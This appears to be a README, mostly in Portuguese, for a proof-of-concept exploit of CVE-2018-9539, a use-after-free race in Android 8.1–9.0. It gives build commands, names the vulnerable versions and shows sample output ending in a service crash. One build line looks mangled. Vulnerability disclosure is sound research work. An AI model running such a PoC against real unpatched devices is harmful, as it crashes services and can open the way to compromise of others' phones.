
PoC code for CVE-2018-9539
Código de prova de conceito para CVE-2018-9539
Se você tiver alguma dúvida, fique à vontade para me enviar uma DM no Twitter (@tamir_zb).
Para compilar isto:
AOSP/external.cd AOSP
source build/envsetup.sh
make cas_race_uaf
Executar este PoC contra uma versão não corrigida do Android (8.1-9.0 anterior a novembro de 2018) deve resultar em um use-after-free. Observe que este PoC não foi realmente projetado para ser executado no Android 8.1, pois espera que o UaF trave o serviço, o que só acontece no Android 9.0; portanto, executar este PoC no Android 8.1 resultará em um loop infinito.
Aqui está um exemplo de saída da execução deste PoC no Android 9.0:
Objects prepared
Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...
Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...
...
...
...
Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...
Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)
Succeeded in 205 attempts